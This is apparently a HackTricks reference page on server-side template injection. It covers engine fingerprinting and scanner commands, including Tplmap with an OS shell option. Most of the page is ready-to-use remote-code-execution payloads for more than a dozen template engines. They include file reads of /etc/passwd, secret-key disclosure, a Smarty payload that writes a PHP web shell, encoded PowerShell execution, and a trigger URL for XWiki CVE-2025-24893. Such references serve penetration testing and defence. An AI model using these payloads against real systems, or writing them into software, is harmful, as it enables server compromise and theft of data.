> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# SSTI (Server-Side Template Injection)

> Detection and exploitation of Server-Side Template Injection vulnerabilities across Jinja2, Twig, FreeMarker, Velocity, Smarty, ERB, Razor, Mako, and other template engines.

Server-Side Template Injection (SSTI) occurs when user input is unsafely embedded into a template that is executed on the server, potentially leading to Remote Code Execution.

## Detection

<Steps>
  <Step title="Fuzz the Template">
    Inject a sequence of special characters: `${{<%[%'"}}%\`

    Observe server responses for errors or unexpected evaluation.
  </Step>

  <Step title="Distinguish from XSS">
    Test mathematical expressions:

    * `{{7*7}}` → `49` (template evaluated)
    * `${7*7}` → `49` or `${7*7}` (depends on engine)
    * `<%= 7*7 %>` → `49` (Ruby/ASP style)
  </Step>

  <Step title="Identify the Engine">
    Different engines use different syntax. Use this flowchart approach:

    * `{{7*7}}` → 49: **Twig** or **Jinja2**
    * `{{7*'7'}}` → `7777777`: **Jinja2**
    * `${7*7}` → 49: **FreeMarker** or **Spring EL**
    * `<%= 7*7 %>` → 49: **ERB** (Ruby)
    * `@(2+2)` → 4: **Razor** (.NET)
  </Step>
</Steps>

## Automated Tools

```bash theme={null}
# TInjA - SSTI + CSTI scanner
tinja url -u "http://example.com/?name=Kirlia" -H "Authorization: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"

# SSTImap
python3 sstimap.py -u "https://example.com/page?name=John" -s
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms

# Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
```

## Exploitation by Engine

<Tabs>
  <Tab title="Jinja2 (Python)">
    ```python theme={null}
    # RCE not dependent on __builtins__
    {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
    {{ cycler.__init__.__globals__.os.popen('id').read() }}
    {{ joiner.__init__.__globals__.os.popen('id').read() }}

    # Config disclosure
    {{config}}
    {{config.items()}}
    {{settings.SECRET_KEY}}
    ```
  </Tab>

  <Tab title="Twig (PHP)">
    ```python theme={null}
    # Info gathering
    {{_self}}
    {{_self.env}}
    {{dump(app)}}

    # File read
    "{{'/etc/passwd'|file_excerpt(1,30)}}"

    # Code execution
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
    {{['id']|filter('system')}}
    {{['cat$IFS/etc/passwd']|filter('system')}}
    ```
  </Tab>

  <Tab title="FreeMarker (Java)">
    ```java theme={null}
    // Basic RCE
    <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
    ${ "freemarker.template.utility.Execute"?new()("id") }

    // Read file
    ${product.getClass().getProtectionDomain().getCodeSource().getLocation()
      .toURI().resolve('/home/carlos/my_password.txt').toURL().openStream()
      .readAllBytes()?join(" ")}

    // Sandbox bypass (< 2.3.30)
    <#assign classloader=article.class.protectionDomain.classLoader>
    <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
    ${dwf.newInstance(ec,null)("id")}
    ```
  </Tab>

  <Tab title="ERB (Ruby)">
    ```ruby theme={null}
    <%= system("whoami") %>
    <%= Dir.entries('/') %>
    <%= File.open('/etc/passwd').read %>
    <%= `ls /` %>
    <% require 'open3' %>
    <% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
    ```
  </Tab>

  <Tab title="Smarty (PHP)">
    ```php theme={null}
    {$smarty.version}
    {system('ls')}
    {system('cat index.php')}
    {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
    ```
  </Tab>

  <Tab title="Mako (Python)">
    ```python theme={null}
    <%
    import os
    x=os.popen('id').read()
    %>
    ${x}
    ```
  </Tab>

  <Tab title="Tornado (Python)">
    ```python theme={null}
    {% import os %}{{os.system('whoami')}}
    ```
  </Tab>

  <Tab title="Razor (.NET)">
    ```csharp theme={null}
    @(2+2)
    @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
    @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc <base64_payload>");
    ```
  </Tab>
</Tabs>

## Java Template Engines

```java theme={null}
// Spring Framework
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

// Thymeleaf
${T(java.lang.Runtime).getRuntime().exec('calc')}

// Velocity
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())

// Pebble (new versions)
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes]).toArray()) }}
```

## NodeJS Template Engines

```javascript theme={null}
// Handlebars RCE
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

// PugJS
#{function(){localLoad=global.process.mainModule.constructor._load;
  sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

// NUNJUCKS
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}

// Node.js vm2 / isolated-vm sandbox escape
={{ (function() {
  const require = this.process.mainModule.require;
  const execSync = require("child_process").execSync;
  return execSync("id").toString();
})() }}
```

## XWiki SolrSearch Groovy RCE (CVE-2025-24893)

<Warning>
  XWiki ≤ 15.10.10 renders unauthenticated RSS search feeds through the `Main.SolrSearch` macro. Injecting `}}}` followed by `{{groovy}}` executes arbitrary Groovy in the JVM.
</Warning>

```
# Trigger SSTI
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20

# Run OS commands
{{groovy}}println("id".execute().text){{/groovy}}
```

## Go Template Injection

```go theme={null}
// Reveal data structure
{{ . }}

// Access Password field
{{ .Password }}

// Check engine
{{printf "%s" "ssti" }}

// RCE if object has exec method
{{ .System "ls" }}
```

## Resources

* [PayloadsAllTheThings SSTI wordlist](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt)
* [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
* [PortSwigger SSTI research](https://portswigger.net/research/server-side-template-injection)
